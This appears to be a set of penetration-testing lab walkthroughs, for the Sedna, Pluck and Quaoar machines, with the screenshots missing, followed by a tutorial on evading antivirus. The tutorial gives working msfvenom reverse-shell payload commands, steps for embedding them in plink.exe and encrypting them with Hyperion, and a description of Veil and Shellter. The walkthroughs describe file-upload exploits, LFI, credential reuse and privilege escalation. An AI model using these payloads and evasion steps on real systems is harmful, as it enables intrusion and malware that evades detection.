Sedna challenge

Hello,

Today I want to show you a Sedna hackfest walkthrough.

Scanning















There are a lot of open ports. I was trying play with Samba, but there is nothing interesting except version - 4.6.1 (I didn't find valid exploit for this version of Samba).
I was trying browse port 8080, but to manager's panel I need to know valid web based authentication credentials. Default credentials such as: admin:admin and tomcat:tomcat don't work.

So, I decided to browse 80 port.





















OK, let's run DirBuster to find the web application directories structure.









Hmmm, unfortunately I didn't find entry point to hack the target.
So, because I didn't have some interesting idea I decided to run nikto vulnerability scanner and it found license.txt file, which may be interesting...













Running /license.txt I found something juicy.
















This page provided us to information that web application utilizes BuilderEngine. I was looking for valid exploit and BINGO!
We are able to use - "BuilderEngine 3.5.0 - Arbitrary File Upload".
I have executed URL from exploit






I have created new file named exploit.html which contains part of content of our exploit.







I have run apache server and execute our exploit. So I have uploaded PHP Reverse Shell file named shell.php.
Now, we have to find our backdoor.




















Excellent! Our shell is uploaded, now let's execute it.











Great! We have got limited shell!

Pluck challenge

Hello,

Let's start the challenge.

Nmap scanning







OK, we discovered four open ports. Let's begin, as always, from web application.

















So, let's penetrate the web application deeper. We can see also that on the dashboard is link to admin panel.








Good, we discovered LFI. We can see very interesting information from /etc/passwd. I mean
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh
Let's try display content of the file.







We know that out target hosts TFTP service and if we could connect to the TFTP we will be able to (probably) download /backups/backup.tar file.








Excellent! Let's examine what is backup.tar file.



















Wow, as far as I know the file is a backup of /var/www/html/* and /home/* files! In particular in /home/* we will be able to find some SSH keys.











Awesome! Using id_key4, we have got following screen















Editting, via Edit file, /home/paul/keys/id_key1.pub, we are able to connect to paul's shell using vim trick - :set shell=/bin/bash and :shell.



Excellent! We have got limited shell! We can see that Linux Kernel is 4.8 and we can find valid local privileges explioit.













Very good! We are root!

Game over

hackfest2016: Quaoar

Hello everyone!

Today I would like to present to you the hackfest2016 Quaoar walkthrough :)

Nmap scanning









Wow, there is bunch of open ports.

I started from Samba enumeration, but I didn't find something interesting except information about samba version (3.6.3).

So I decided to try find something within the web application.















Dirbuster found some helpful (?) paths.









Now, we know that the web application utilizes a wordpress CMS. So, if we can know username from posts on the websites, we will be able to use wpscan to try bruteforce this user's password.























After admin:admin attemption - success!











Excellent! Let's try edit some plugin or something like that and upload reverse php shell..
I had edited existing Plugin - Aksimet and I activaed it.
I executed appropriate path to run our uploaded webshell.













Amazing, we have got limited shell. Now, we have to escalate our privileges.
I went to /var/www/wordpress and I found there config file.















Great! We have valid MySQL credentials. So, let's exploit it.
Hmmm rootpassword! maybe will be also valid for Linux root?
BINGO!















Game over!

VirusTotal challenge

Hello everyone,

Today I would like to present several methods of antivirus mechanisms evasion.

Within this article I will use couple tools such as: metasploit, shellter, veil-evasion.

Conclusion of the article will be comparison of efficiency generated payloads.

1. Metasploit Framework
  • msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$port -f exe -o shell_reverse.exe
 I think that it is so potty result - 43/59 AV verified that our paylaod is malicious.

Let's try generate the same payload but with encoding
  • msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$port -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
 The same potty result.

Now, let's try inject our malicious payload into other program.
  • msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$port -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
 Better, but still it isn't suit us.

  • cp shell_reverse_msf_encoded_embedded.exe backdoor.exe
    cp /usr/share/windows-binaries/Hyperion-1.0.zip .
    unzip Hyperion-1.0.zip
    cd Hyperion-1.0/
    i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
    cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
    cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
    wine hyperion.exe ../backdoor.exe ../crypted.exe

 Hmmm, still to high detection ratio.

2. Veil-evasion
Veil evasion is a very useful tool which is compatible with metasploit payloads.

Let's lists payloads

Good, let's use for example payload 35.
 Quite nice! Detection ratio is lower than 50%.

3. Shellter
Shellter is the most effective tool to bypass AV detection. Shellter utilize no-malcious program such as putty.exe and incject malicious instruction.

We can use A (automation) mode. Next we have to set PE target - file which we will inject.
 Great! For me detection ratio is very low, isn't it?

As we can see shellter is very effective tool to AV evasion.
